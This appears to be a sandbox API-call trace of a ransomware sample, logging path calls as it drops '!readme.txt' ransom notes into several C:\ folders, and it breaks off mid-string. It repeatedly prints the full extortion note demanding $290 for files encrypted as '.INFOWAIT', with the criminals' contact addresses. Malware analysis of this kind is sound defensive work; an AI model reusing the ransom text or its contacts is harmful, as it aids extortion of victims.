[0113.812] PathFindFileNameW (pszPath="C:\\ProgramData\\Sun\\") returned="Sun\\" [0113.812] PathFindFileNameW (pszPath="C:\\ProgramData\\") returned="ProgramData\\" [0113.812] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.812] PathFindFileNameW (pszPath="") returned="" [0113.813] PathFindExtensionW (pszPath="C:\\ProgramData\\Sun\\Java\\Java Update\\jaureglist.xml") returned=".xml" [0113.813] PathFindFileNameW (pszPath="C:\\ProgramData\\Templates\\") returned="Templates\\" [0113.813] PathFindFileNameW (pszPath="C:\\ProgramData\\") returned="ProgramData\\" [0113.814] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.814] PathFindFileNameW (pszPath="") returned="" [0113.814] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x24af900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0113.814] PathAppendW (in: pszPath="C:\\ProgramData\\Templates\\", pMore="!readme.txt" | out: pszPath="C:\\ProgramData\\Templates\\!readme.txt") returned 1 [0113.814] PathFileExistsW (pszPath="C:\\ProgramData\\Templates\\!readme.txt") returned 0 [0113.815] lstrcpyW (in: lpString1=0x24b19f0, lpString2="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" [0113.815] lstrcatW (in: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004", lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0113.817] PathFindFileNameW (pszPath="C:\\Recovery\\") returned="Recovery\\" [0113.817] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.817] PathFindFileNameW (pszPath="") returned="" [0113.818] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x6edbe8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0113.818] PathAppendW (in: pszPath="C:\\Recovery\\", pMore="!readme.txt" | out: pszPath="C:\\Recovery\\!readme.txt") returned 1 [0113.818] PathFileExistsW (pszPath="C:\\Recovery\\!readme.txt") returned 0 [0113.819] lstrcpyW (in: lpString1=0x24b19f0, lpString2="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" [0113.819] lstrcatW (in: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004", lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0113.821] PathFindExtensionW (pszPath="C:\\Recovery\\!readme.txt") returned=".txt" [0113.821] PathFindFileNameW (pszPath="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\") returned="e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\" [0113.822] PathFindFileNameW (pszPath="C:\\Recovery\\") returned="Recovery\\" [0113.822] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.822] PathFindFileNameW (pszPath="") returned="" [0113.822] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x6edbe8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0113.822] PathAppendW (in: pszPath="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\", pMore="!readme.txt" | out: pszPath="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\!readme.txt") returned 1 [0113.822] PathFileExistsW (pszPath="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\!readme.txt") returned 0 [0113.822] lstrcpyW (in: lpString1=0x24b19f0, lpString2="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" [0113.822] lstrcatW (in: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004", lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0113.825] PathFindExtensionW (pszPath="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\!readme.txt") returned=".txt" [0113.825] PathFindExtensionW (pszPath="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi") returned=".sdi" [0113.825] PathFindExtensionW (pszPath="C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Winre.wim") returned=".wim" [0113.825] PathFindFileNameW (pszPath="C:\\System Volume Information\\") returned="System Volume Information\\" [0113.825] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.825] PathFindFileNameW (pszPath="") returned="" [0113.825] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x24af900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0113.825] PathAppendW (in: pszPath="C:\\System Volume Information\\", pMore="!readme.txt" | out: pszPath="C:\\System Volume Information\\!readme.txt") returned 1 [0113.825] PathFileExistsW (pszPath="C:\\System Volume Information\\!readme.txt") returned 0 [0113.825] lstrcpyW (in: lpString1=0x24b19f0, lpString2="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" [0113.825] lstrcatW (in: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004", lpString2="LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40") returned="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004LsCOYLRYMkqjvfiCCakqofPJhgWeL5nBT09BhA40" [0113.826] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.826] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.826] PathFindFileNameW (pszPath="") returned="" [0113.826] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x6edbe8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0113.826] PathFindExtensionW (pszPath="C:\\Users\\!readme.txt") returned=".txt" [0113.826] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0113.826] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0113.826] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0113.826] PathFindFileNameW (pszPath="") returned="" [0113.826] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x6edbe8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0113.827] PathAppendW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", pMore="!readme.txt" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\!readme.txt") returned 1 [0113.827] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\!readme.txt") returned 0 [0113.827] lstrcpyW (in: lpString1=0x24b19f0, lpString2="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact us:\r\nBM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nsavefiles@india.com\r\n\r\nYour personal id:\r\n004" | out: lpString1="====================================!ATTENTION PLEASE!=============================================\r\n\r\nYour databases, files, photos, documents and other important files are encrypted and have the extension: .INFOWAIT\r\nThe only method of recovering files is to purchase an decrypt software and unique private key.\r\nAfter purchase you will start decrypt software, enter your unique private key and it will decrypt all your data.\r\nOnly we can give you this key and only we can recover your files.\r\nYou need to contact us by e-mail BM-2cXonzj9ovn5qdX2MrwMK4j3qCquXBKo4h@bitmessage.ch send us your personal ID and wait for further instructions.\r\nFor you to be sure, that we can decrypt your files - you can send us a 1-3 any not very big encrypted files and we will send you back it in a original form FREE.\r\nPrice for decryption $290 if you contact us first 72 hours.\r\n\r\n===================================================================================================\r\n\r\nE-mail address to contact 